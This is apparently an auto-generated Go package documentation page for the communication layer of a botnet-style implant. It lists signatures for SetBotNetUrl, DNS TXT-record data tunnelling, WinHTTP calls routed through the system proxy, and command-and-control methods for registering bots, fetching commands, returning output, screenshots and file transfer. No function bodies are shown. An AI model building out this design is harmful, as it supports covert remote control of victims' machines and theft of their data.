Documentation ¶
Index ¶
- Constants
- Variables
- func DnsSendData(sendData []string) (response []byte, err error)
- func FormationData(mainPartRequest string, data []byte) (arrayData []string)
- func GetUrlArrayLen() (ret int)
- func InitSession() (resp int)
- func OutResponse(nameCommand string, data []byte, code int, text []byte)
- func SetBotNetUrl(num int)
- func SetDnsURL(dns_name string)
- func SetSessionProxyFromIE(hSession uintptr)
- func SetUrlAndPortArrays(url_array []string, port_array []int)
- func SetWinHttpTimeout(array []int)
- func WinHttpAddRequestHeaders(hRequest uintptr, headers string, flag int)
- func WinHttpCloseHandle(hHandle uintptr)
- func WinHttpConnect(hSession uintptr, url string, port int) (resp uintptr)
- func WinHttpGetIEProxyConfigForCurrentUser(lpIeProxy *winHttpIEProxyConfig) (result int)
- func WinHttpOpen(useragent string) (resp uintptr)
- func WinHttpOpenRequest(hConnect uintptr, method string, uri string) (resp uintptr)
- func WinHttpQueryDataAvailable(hRequest uintptr, dwSize *uint32)
- func WinHttpReadData(hRequest uintptr, buf []byte, dwSize uint32, dwDownloaded *uint32)
- func WinHttpReceiveResponse(hRequest uintptr) (resp uintptr)
- func WinHttpSendRequest(hRequest uintptr, optional []byte, optional_len int) (resp uintptr)
- func WinHttpSetOption(hSession uintptr, option uintptr, buffer uintptr, buffersize uintptr)
- func WinHttpSetTimeOut(hSession uintptr, ...) (response uintptr)
- type DnsMessageExchange
- func (dnsMessageExchange DnsMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)
- func (dnsMessageExchange DnsMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string)
- func (dnsMessageExchange DnsMessageExchange) ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte)
- func (dnsMessageExchange DnsMessageExchange) ApiRegister(name string, info []byte) (code int, resp string)
- func (dnsMessageExchange DnsMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte)
- func (dnsMessageExchange DnsMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte)
- type HttpMessageExchange
- func (httpMessageExchange HttpMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)
- func (httpMessageExchange HttpMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string)
- func (httpMessageExchange HttpMessageExchange) ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte)
- func (httpMessageExchange HttpMessageExchange) ApiRegister(name string, info []byte) (code int, resp string)
- func (httpMessageExchange HttpMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte)
- func (httpMessageExchange HttpMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte)
- type JsonCommand
- type JsonFile
- type JsonToken
- type MessageExchange
Constants ¶
View Source
const ( GET_REQUEST = "GET" POST_REQUEST = "POST" INTERNET_DEFAULT_HTTP_PORT = 80 INTERNET_DEFAULT_HTTPS_PORT = 443 WINHTTP_OPTION_PROXY = 38 WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3 WINHTTP_ADDREQ_FLAG_ADD = 0x20000000 )
Variables ¶
View Source
var ( COUNT_SUBDOMEN = 2 SIZE_PACKET = 53 BAD_REQUEST string = "BAD_REQUEST" )
Functions ¶
func DnsSendData ¶
Отправляет данные на DNS через дефолтный net.LookupTXT получает ответ как TXT запись по запрошенному доменному имени
func FormationData ¶
func GetUrlArrayLen ¶
func GetUrlArrayLen() (ret int)
func SetBotNetUrl ¶
func SetBotNetUrl(num int)
func SetSessionProxyFromIE ¶
func SetSessionProxyFromIE(hSession uintptr)
Установка системного прокси
func SetUrlAndPortArrays ¶
func SetWinHttpTimeout ¶
func SetWinHttpTimeout(array []int)
func WinHttpCloseHandle ¶
func WinHttpCloseHandle(hHandle uintptr)
func WinHttpGetIEProxyConfigForCurrentUser ¶
func WinHttpGetIEProxyConfigForCurrentUser(lpIeProxy *winHttpIEProxyConfig) (result int)
func WinHttpOpen ¶
func WinHttpOpenRequest ¶
func WinHttpReadData ¶
func WinHttpReceiveResponse ¶
func WinHttpSendRequest ¶
func WinHttpSetOption ¶
func WinHttpSetTimeOut ¶
Types ¶
type DnsMessageExchange ¶
type DnsMessageExchange struct{}
func (DnsMessageExchange) ApiDownloadFile ¶
func (dnsMessageExchange DnsMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)
func (DnsMessageExchange) ApiGetCommand ¶
func (dnsMessageExchange DnsMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string)
func (DnsMessageExchange) ApiOutputCommand ¶
func (DnsMessageExchange) ApiRegister ¶
func (dnsMessageExchange DnsMessageExchange) ApiRegister(name string, info []byte) (code int, resp string)
func (DnsMessageExchange) ApiScreenshot ¶
func (dnsMessageExchange DnsMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte)
func (DnsMessageExchange) ApiUploadFile ¶
func (dnsMessageExchange DnsMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte)
type HttpMessageExchange ¶
type HttpMessageExchange struct{}
func (HttpMessageExchange) ApiDownloadFile ¶
func (httpMessageExchange HttpMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)
func (HttpMessageExchange) ApiGetCommand ¶
func (httpMessageExchange HttpMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string)
func (HttpMessageExchange) ApiOutputCommand ¶
func (HttpMessageExchange) ApiRegister ¶
func (httpMessageExchange HttpMessageExchange) ApiRegister(name string, info []byte) (code int, resp string)
Регистрация
func (HttpMessageExchange) ApiScreenshot ¶
func (httpMessageExchange HttpMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte)
func (HttpMessageExchange) ApiUploadFile ¶
func (httpMessageExchange HttpMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte)
type JsonCommand ¶
type MessageExchange ¶
type MessageExchange interface { ApiRegister(name string, info []byte) (code int, resp string) ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte) ApiGetCommand(uuid string) (code int, resp string, resp2 string) ApiScreenshot(uuid string, output []byte) (code int, resp []byte) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte) ApiUploadFile(uu_id, pathDir string) (code int, resp []byte) }
Интерфейс для протоколов
Click to show internal directories.
Click to hide internal directories.